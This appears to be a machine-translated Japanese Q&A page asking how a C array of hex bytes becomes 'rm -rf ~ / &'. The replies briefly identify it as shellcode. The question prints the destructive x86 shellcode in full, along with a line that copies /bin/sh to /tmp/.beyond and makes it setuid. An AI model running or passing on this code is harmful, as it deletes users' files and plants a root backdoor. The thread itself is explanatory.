どのようにhexコマンドはrm -rf〜/&になりますか?


2

次の悪意のあるコマンドは、コンパイル時にどのようにrm -rf〜/&になりますか?

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= \xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68
\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99
\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7
\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56
\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31
\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69
\x6e\x2f\x73\x68\x00\x2d\x63\x00
cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

1
のような小さなコードをコンパイルし、system("ls")そのアセンブリの内容を調べてみてください。
Eddy_Em

私はアセンブリがわからない:(
Demi

回答:


2

これはシェルコードと呼ばれています

基本的に、16進コードは組み立てられたマシンコードから決定され、Linuxシステムコールのバイト位置に対応します。


「 'main'への未定義の参照」のようなエラーなしでコードはどのようにコンパイルされるのでしょうか。
2013

@Demetri、これは非常に簡単です。この変数は、コンパイルしたプログラムを実行したときに実行されるアセンブリコードです。
Eddy_Em 2013
弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.